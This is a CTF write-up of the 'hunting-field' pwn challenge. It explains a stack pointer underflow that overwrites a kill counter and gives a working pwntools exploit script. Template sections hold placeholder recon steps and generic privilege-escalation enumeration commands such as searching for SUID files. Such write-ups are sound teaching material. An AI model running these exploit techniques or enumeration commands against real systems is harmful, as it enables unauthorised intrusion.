← Back to Writeups
HTBN/APwn

hunting-field

XESXOR8/23/20264 min read
#pwn#htb#n/a

hunting-field

Platform: Tjctf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-16 | Status: Solved Techniques: array_pointer_underflow, game_state_manipulation, little_endian_integer_overwrite, stack_layout_reconstruction

Summary

Task: text-based game with array pointer that decrements without bounds checking, allowing writes below the buffer into adjacent stack variable killCt. Solution: send 32 invalid inputs to exhaust the buffer, then overwrite killCt with the magic value 0x68756E74 ('hunt') via carefully ordered byte writes, then trigger game_over.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: tjctf | ID: 20260516_tjctf_hunting_field
  • Tags: little_endian, game_exploitation, stack_variable_overwrite, buffer_underflow, array_out_of_bounds
  • Indicators: array pointer decremented without bounds check, win condition checks integer for specific magic value, magic value is ASCII string matching challenge name, stack-adjacent variables (buffer and integer) with no canary
  • Source: 20260516_tjctf_hunting_field.md

Foothold

Vulnerability / Misconfiguration

  1. Array_pointer_underflow
  2. Game_state_manipulation
  3. Little_endian_integer_overwrite
  4. Stack_layout_reconstruction
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • array_pointer_underflow
  • game_state_manipulation
  • little_endian_integer_overwrite
  • stack_layout_reconstruction
  • Tags: little_endian, game_exploitation, stack_variable_overwrite, buffer_underflow, array_out_of_bounds

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Take up your arms, and slay your enemies!

A text-based combat game on a 9×9 grid. The player (@) moves and attacks enemies (E) that spawn and chase the player. The binary is a dynamically linked, not stripped ELF 64-bit x86-64 executable with source code provided. The game_over() function prints the flag if the kill count equals the magic value 1752526452.

Analysis

The game loop reads 2-character inputs (action + direction). Invalid inputs are logged into input_log[64] via a pointer array_ptr that starts at &input_log[63] and decrements by 1 for each character written, with no bounds checking:

char input_log[64];
int killCt = 0;
int *kills = &killCt;
char *array_ptr = &input_log[63];

while ((!strchr("MA", player_input[0])) || (!strchr("NESW", player_input[1]))) {
    scanf("%c", &player_input[0]);
    scanf("%c", &player_input[1]);
    int c; while ((c = getchar()) != '\n' && c != EOF);
    *array_ptr = player_input[0];
    array_ptr -= sizeof(player_input[0]);  // decrement, no bounds check!
    *array_ptr = player_input[1];
    array_ptr -= sizeof(player_input[1]);
}

Each invalid input writes 2 bytes and decrements array_ptr by 2. After 32 invalid inputs (64 bytes), the pointer has moved past the beginning of input_log and into adjacent stack variables.

Stack Layout (from disassembly)

rbp-0x41 to rbp-0x80: input_log[64]  (array_ptr starts at rbp-0x41 = input_log[63])
rbp-0x81 to rbp-0x84: killCt         (4-byte int, little-endian)
rbp-0x85 to rbp-0x86: player_input[2]

Win Condition

void game_over(int *kills) {
    if (*kills == 1752526452) {
        // reads and prints flag.txt
    }
}

The magic value 1752526452 = 0x68756E74 is ASCII for "hunt" — a wordplay hint from the challenge name "hunting-field".

In little-endian byte order on the stack:

  • rbp-0x84 (LSB) = 0x74 = 't'
  • rbp-0x83 = 0x6E = 'n'
  • rbp-0x82 = 0x75 = 'u'
  • rbp-0x81 (MSB) = 0x68 = 'h'

Solution

Step 1: Fill the buffer (32 invalid inputs)

Send 32 invalid 2-character inputs ("xx") to exhaust the 64-byte input_log buffer. After this, array_ptr points to rbp-0x81 (the MSB of killCt).

Step 2: Overwrite killCt (inputs 33–34)

  • 33rd input "hu": writes 'h' (0x68) to rbp-0x81 (killCt MSB), then 'u' (0x75) to rbp-0x82
  • 34th input "nt": writes 'n' (0x6E) to rbp-0x83, then 't' (0x74) to rbp-0x84 (killCt LSB)

This sets killCt = 0x68756E74 = 1752526452.

Step 3: Skip player_input area (input 35)

The pointer now points into the player_input memory area (rbp-0x85/rbp-0x86). Writing here corrupts the input validation variables, making it impossible to provide a valid input from this position. One more garbage input ("xx") moves the pointer past this area.

Step 4: Exit the loop (input 36)

Send "MN" (Move North) — a valid input that passes the strchr checks and exits the inner while loop.

Step 5: Trigger game_over

Keep sending "MN" on subsequent turns. Enemies spawn periodically and chase the player. Eventually an enemy walks into the player's tile, triggering game_over(kills) which checks *kills == 1752526452 and prints the flag.

Exploit Script

from pwn import *

context.log_level = 'info'

io = remote('tjc.tf', 31412)

# 32 padding invalid inputs to fill input_log
for i in range(32):
    io.sendline(b'xx')

# Overwrite killCt with 0x68756E74 ("hunt")
io.sendline(b'hu')  # 33rd: MSB(0x68) + byte2(0x75)
io.sendline(b'nt')  # 34th: byte1(0x6E) + LSB(0x74)

# Skip past player_input area
io.sendline(b'xx')  # 35th: garbage

# Valid input to exit loop
io.sendline(b'MN')  # 36th: move north

# Keep moving until enemy reaches player → game_over
for i in range(30):
    io.sendline(b'MN')

io.recvuntil(b'Game Over!', timeout=30)
result = io.recvuntil(b'}', timeout=10)
print(result.decode())
io.close()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR